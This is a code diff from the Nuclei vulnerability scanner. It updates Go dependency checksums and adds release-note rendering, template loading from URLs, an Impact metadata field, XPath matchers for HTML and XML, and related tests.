golang.org/x/exp v0.0.0-20230725093048-515e97ebf090 h1:Di6/M8l0O2lCLc6VVRWhgCiApHV8MnQurBnFSHsQtNY=
|
||||
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc=
|
||||
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63 h1:m64FZMko/V45gv0bNmrNYoDEq8U5YUhetc9cBWKS1TQ=
|
||||
golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63/go.mod h1:0v4NqG35kSWCMzLaMeX+IQrlSnVE/bqGSyC2cz/9Le8=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
|
||||
@ -666,10 +663,8 @@ golang.org/x/net v0.0.0-20200528225125-3c3fba18258b/go.mod h1:qpuaurCH72eLCgpAm/
|
||||
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220630215102-69896b714898/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.0.0-20221002022538-bcab6841153b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk=
|
||||
golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws=
|
||||
@ -677,16 +672,16 @@ golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA=
|
||||
golang.org/x/net v0.14.0 h1:BONx9s002vGdD9umnlX1Po8vOZmrgH34qlHcD1MfK14=
|
||||
golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=
|
||||
golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw=
|
||||
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
|
||||
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
|
||||
@ -708,9 +703,7 @@ golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@ -720,7 +713,6 @@ golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@ -742,6 +734,7 @@ golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o=
|
||||
golang.org/x/term v0.11.0 h1:F9tnn/DA/Im8nCwm+fX+1/eBwi4qFjRT++MhtVC4ZX0=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
@ -754,25 +747,23 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc=
|
||||
golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190729092621-ff9f1409240a/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8=
|
||||
golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8=
|
||||
golang.org/x/tools v0.12.1-0.20230815132531-74c255bcf846 h1:Vve/L0v7CXXuxUmaMGIEK/dEeq7uiqb5qBgQrZzIE7E=
|
||||
golang.org/x/tools v0.12.1-0.20230815132531-74c255bcf846/go.mod h1:Sc0INKfu04TlqNoRA1hgpFZbhYXHPr4V5DzpSBTPqQM=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
|
||||
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
|
||||
|
||||
@ -12,6 +12,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/glamour"
|
||||
"github.com/olekukonko/tablewriter"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
|
||||
@ -29,6 +30,7 @@ const (
|
||||
var (
|
||||
HideProgressBar = true
|
||||
HideUpdateChangesTable = false
|
||||
HideReleaseNotes = true
|
||||
)
|
||||
|
||||
// TemplateUpdateResults contains the results of template update
|
||||
@ -105,6 +107,7 @@ func (t *TemplateManager) installTemplatesAt(dir string) error {
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to install templates at %s", dir)
|
||||
}
|
||||
|
||||
// write templates to disk
|
||||
if err := t.writeTemplatesToDisk(ghrd, dir); err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to write templates to disk at %s", dir)
|
||||
@ -313,6 +316,21 @@ func (t *TemplateManager) writeTemplatesToDisk(ghrd *updateutils.GHReleaseDownlo
|
||||
return errorutil.NewWithErr(err).Msgf("failed to write nuclei templates index")
|
||||
}
|
||||
|
||||
if !HideReleaseNotes {
|
||||
output := ghrd.Latest.GetBody()
|
||||
// adjust colors for both dark / light terminal themes
|
||||
r, err := glamour.NewTermRenderer(glamour.WithAutoStyle())
|
||||
if err != nil {
|
||||
gologger.Error().Msgf("markdown rendering not supported: %v", err)
|
||||
}
|
||||
if rendered, err := r.Render(output); err == nil {
|
||||
output = rendered
|
||||
} else {
|
||||
gologger.Error().Msg(err.Error())
|
||||
}
|
||||
gologger.Print().Msgf("\n%v\n\n", output)
|
||||
}
|
||||
|
||||
// after installation, create and write checksums to .checksum file
|
||||
return t.writeChecksumFileInDir(dir)
|
||||
}
|
||||
|
||||
@ -15,6 +15,7 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v2/internal/installer"
|
||||
"github.com/projectdiscovery/nuclei/v2/internal/runner/nucleicloud"
|
||||
uncoverlib "github.com/projectdiscovery/uncover"
|
||||
permissionutil "github.com/projectdiscovery/utils/permission"
|
||||
updateutils "github.com/projectdiscovery/utils/update"
|
||||
|
||||
"github.com/logrusorgru/aurora"
|
||||
@ -309,6 +310,15 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if httpclient != nil {
|
||||
opts.HTTPClient = httpclient
|
||||
}
|
||||
if opts.HTTPClient == nil {
|
||||
httpOpts := retryablehttp.DefaultOptionsSingle
|
||||
httpOpts.Timeout = 20 * time.Second // for stability reasons
|
||||
if options.Timeout > 20 {
|
||||
httpOpts.Timeout = time.Duration(options.Timeout) * time.Second
|
||||
}
|
||||
// in testing it was found most of times when interactsh failed, it was due to failure in registering /polling requests
|
||||
opts.HTTPClient = retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
|
||||
}
|
||||
interactshClient, err := interactsh.New(opts)
|
||||
if err != nil {
|
||||
gologger.Error().Msgf("Could not create interactsh client: %s", err)
|
||||
@ -713,7 +723,7 @@ func (r *Runner) SaveResumeConfig(path string) error {
|
||||
resumeCfgClone.ResumeFrom = resumeCfgClone.Current
|
||||
data, _ := json.MarshalIndent(resumeCfgClone, "", "\t")
|
||||
|
||||
return os.WriteFile(path, data, os.ModePerm)
|
||||
return os.WriteFile(path, data, permissionutil.ConfigFilePermission)
|
||||
}
|
||||
|
||||
type WalkFunc func(reflect.Value, reflect.StructField)
|
||||
|
||||
@ -2,7 +2,6 @@ package runner
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@ -45,14 +44,12 @@ func (r *Runner) listAvailableStoreTemplates(store *loader.Store) {
|
||||
if hasExtraFlags(r.options) {
|
||||
if r.options.TemplateDisplay {
|
||||
colorize := !r.options.NoColor
|
||||
|
||||
path := tpl.Path
|
||||
tplBody, err := os.ReadFile(path)
|
||||
tplBody, err := store.ReadTemplateFromURI(path, true)
|
||||
if err != nil {
|
||||
gologger.Error().Msgf("Could not read the template %s: %s", path, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if colorize {
|
||||
path = aurora.Cyan(tpl.Path).String()
|
||||
tplBody, err = r.highlightTemplate(&tplBody)
|
||||
@ -60,7 +57,6 @@ func (r *Runner) listAvailableStoreTemplates(store *loader.Store) {
|
||||
gologger.Error().Msgf("Could not highlight the template %s: %s", tpl.Path, err)
|
||||
continue
|
||||
}
|
||||
|
||||
}
|
||||
gologger.Silent().Msgf("Template: %s\n\n%s", path, tplBody)
|
||||
} else {
|
||||
|
||||
@ -1,8 +1,12 @@
|
||||
package loader
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
@ -17,6 +21,15 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/types"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/utils/stats"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/workflows"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
const (
|
||||
httpPrefix = "http://"
|
||||
httpsPrefix = "https://"
|
||||
)
|
||||
|
||||
// Config contains the configuration options for the loader
|
||||
@ -121,6 +134,30 @@ func New(config *Config) (*Store, error) {
|
||||
finalWorkflows: config.Workflows,
|
||||
}
|
||||
|
||||
// Do a check to see if we have URLs in templates flag, if so
|
||||
// we need to processs them separately and remove them from the initial list
|
||||
var templatesFinal []string
|
||||
for _, template := range config.Templates {
|
||||
// TODO: Add and replace this with urlutil.IsURL() helper
|
||||
if stringsutil.HasPrefixAny(template, httpPrefix, httpsPrefix) {
|
||||
config.TemplateURLs = append(config.TemplateURLs, template)
|
||||
} else {
|
||||
templatesFinal = append(templatesFinal, template)
|
||||
}
|
||||
}
|
||||
|
||||
// fix editor paths
|
||||
remoteTemplates := []string{}
|
||||
for _, v := range config.TemplateURLs {
|
||||
if _, err := urlutil.Parse(v); err == nil {
|
||||
remoteTemplates = append(remoteTemplates, handleTemplatesEditorURLs(v))
|
||||
} else {
|
||||
templatesFinal = append(templatesFinal, v) // something went wrong, treat it as a file
|
||||
}
|
||||
}
|
||||
config.TemplateURLs = remoteTemplates
|
||||
store.finalTemplates = templatesFinal
|
||||
|
||||
urlBasedTemplatesProvided := len(config.TemplateURLs) > 0 || len(config.WorkflowURLs) > 0
|
||||
if urlBasedTemplatesProvided {
|
||||
remoteTemplates, remoteWorkflows, err := getRemoteTemplatesAndWorkflows(config.TemplateURLs, config.WorkflowURLs, config.RemoteTemplateDomainList)
|
||||
@ -146,6 +183,43 @@ func New(config *Config) (*Store, error) {
|
||||
return store, nil
|
||||
}
|
||||
|
||||
func handleTemplatesEditorURLs(input string) string {
|
||||
parsed, err := url.Parse(input)
|
||||
if err != nil {
|
||||
return input
|
||||
}
|
||||
if !strings.HasSuffix(parsed.Hostname(), "templates.nuclei.sh") {
|
||||
return input
|
||||
}
|
||||
if strings.HasSuffix(parsed.Path, ".yaml") {
|
||||
return input
|
||||
}
|
||||
parsed.Path = fmt.Sprintf("%s.yaml", parsed.Path)
|
||||
finalURL := parsed.String()
|
||||
return finalURL
|
||||
}
|
||||
|
||||
// ReadTemplateFromURI should only be used for viewing templates
|
||||
// and should not be used anywhere else like loading and executing templates
|
||||
// there is no sandbox restriction here
|
||||
func (store *Store) ReadTemplateFromURI(uri string, remote bool) ([]byte, error) {
|
||||
if stringsutil.HasPrefixAny(uri, httpPrefix, httpsPrefix) && remote {
|
||||
uri = handleTemplatesEditorURLs(uri)
|
||||
remoteTemplates, _, err := getRemoteTemplatesAndWorkflows([]string{uri}, nil, store.config.RemoteTemplateDomainList)
|
||||
if err != nil || len(remoteTemplates) == 0 {
|
||||
return nil, errorutil.NewWithErr(err).Msgf("Could not load template %s: got %v", uri, remoteTemplates)
|
||||
}
|
||||
resp, err := retryablehttp.Get(remoteTemplates[0])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
return io.ReadAll(resp.Body)
|
||||
} else {
|
||||
return os.ReadFile(uri)
|
||||
}
|
||||
}
|
||||
|
||||
// Templates returns all the templates in the store
|
||||
func (store *Store) Templates() []*templates.Template {
|
||||
return store.templates
|
||||
|
||||
@ -56,7 +56,6 @@ func getRemoteTemplatesAndWorkflows(templateURLs, workflowURLs, remoteTemplateDo
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return remoteTemplateList, remoteWorkFlowList, err
|
||||
}
|
||||
|
||||
|
||||
@ -40,6 +40,15 @@ type Info struct {
|
||||
// - value: "\"Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\""
|
||||
Description string `json:"description,omitempty" yaml:"description,omitempty" jsonschema:"title=description of the template,description=In-depth explanation on what the template does,example=Bower is a package manager which stores package information in the bower.json file"`
|
||||
// description: |
|
||||
// Impact of the template.
|
||||
//
|
||||
// You can go in-depth here on impact of the template.
|
||||
//
|
||||
// examples:
|
||||
// - value: "\"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\""
|
||||
// - value: "\"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.\""
|
||||
Impact string `json:"impact,omitempty" yaml:"impact,omitempty" jsonschema:"title=impact of the template,description=In-depth explanation on the impact of the issue found by the template,example=Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation."`
|
||||
// description: |
|
||||
// References for the template.
|
||||
//
|
||||
// This should contain links relevant to the template.
|
||||
|
||||
@ -19,10 +19,10 @@ var (
|
||||
)
|
||||
|
||||
func init() {
|
||||
_ = dsl.AddMultiSignatureHelperFunction("resolve", []string{
|
||||
_ = dsl.AddFunction(dsl.NewWithMultipleSignatures("resolve", []string{
|
||||
"(host string) string",
|
||||
"(format string) string",
|
||||
}, func(args ...interface{}) (interface{}, error) {
|
||||
}, false, func(args ...interface{}) (interface{}, error) {
|
||||
argCount := len(args)
|
||||
if argCount == 0 || argCount > 2 {
|
||||
return nil, dsl.ErrInvalidDslFunction
|
||||
@ -94,7 +94,7 @@ func init() {
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("no records found")
|
||||
})
|
||||
}))
|
||||
|
||||
dsl.PrintDebugCallback = func(args ...interface{}) error {
|
||||
gologger.Info().Msgf("print_debug value: %s", fmt.Sprint(args))
|
||||
|
||||
@ -5,6 +5,8 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/Knetic/govaluate"
|
||||
"github.com/antchfx/htmlquery"
|
||||
"github.com/antchfx/xmlquery"
|
||||
|
||||
dslRepo "github.com/projectdiscovery/dsl"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
@ -226,6 +228,88 @@ func (matcher *Matcher) MatchDSL(data map[string]interface{}) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchXPath matches on a generic map result
|
||||
func (matcher *Matcher) MatchXPath(corpus string) bool {
|
||||
if strings.HasPrefix(corpus, "<?xml") {
|
||||
return matcher.MatchXML(corpus)
|
||||
}
|
||||
return matcher.MatchHTML(corpus)
|
||||
}
|
||||
|
||||
// MatchHTML matches items from HTML using XPath selectors
|
||||
func (matcher *Matcher) MatchHTML(corpus string) bool {
|
||||
doc, err := htmlquery.Parse(strings.NewReader(corpus))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
matches := 0
|
||||
|
||||
for _, k := range matcher.XPath {
|
||||
nodes, err := htmlquery.QueryAll(doc, k)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Continue if the xpath doesn't return any nodes
|
||||
if len(nodes) == 0 {
|
||||
// If we are in an AND request and a match failed,
|
||||
// return false as the AND condition fails on any single mismatch.
|
||||
switch matcher.condition {
|
||||
case ANDCondition:
|
||||
return false
|
||||
case ORCondition:
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// If the condition was an OR, return on the first match.
|
||||
if matcher.condition == ORCondition && !matcher.MatchAll {
|
||||
return true
|
||||
}
|
||||
|
||||
matches = matches + len(nodes)
|
||||
}
|
||||
return matches > 0
|
||||
}
|
||||
|
||||
// MatchXML matches items from XML using XPath selectors
|
||||
func (matcher *Matcher) MatchXML(corpus string) bool {
|
||||
doc, err := xmlquery.Parse(strings.NewReader(corpus))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
matches := 0
|
||||
|
||||
for _, k := range matcher.XPath {
|
||||
nodes, err := xmlquery.QueryAll(doc, k)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Continue if the xpath doesn't return any nodes
|
||||
if len(nodes) == 0 {
|
||||
// If we are in an AND request and a match failed,
|
||||
// return false as the AND condition fails on any single mismatch.
|
||||
switch matcher.condition {
|
||||
case ANDCondition:
|
||||
return false
|
||||
case ORCondition:
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// If the condition was an OR, return on the first match.
|
||||
if matcher.condition == ORCondition && !matcher.MatchAll {
|
||||
return true
|
||||
}
|
||||
matches = matches + len(nodes)
|
||||
}
|
||||
|
||||
return matches > 0
|
||||
}
|
||||
|
||||
// ignoreErr checks if the error is to be ignored or not
|
||||
// Reference: https://github.com/projectdiscovery/nuclei/issues/3950
|
||||
func (m *Matcher) ignoreErr(err error) bool {
|
||||
|
||||
@ -89,3 +89,123 @@ func TestMatcher_MatchDSL(t *testing.T) {
|
||||
require.True(t, isMatched)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMatcher_MatchXPath_HTML(t *testing.T) {
|
||||
body := `<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Example Domain</title>
|
||||
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div>
|
||||
<h1>Example Domain</h1>
|
||||
<p>This domain is for use in illustrative examples in documents. You may use this
|
||||
domain in literature without prior coordination or asking for permission.</p>
|
||||
<p><a href="https://www.iana.org/domains/example">More information...</a></p>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
body2 := `<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Example Domain</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1> It's test time! </h1>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
|
||||
// single match
|
||||
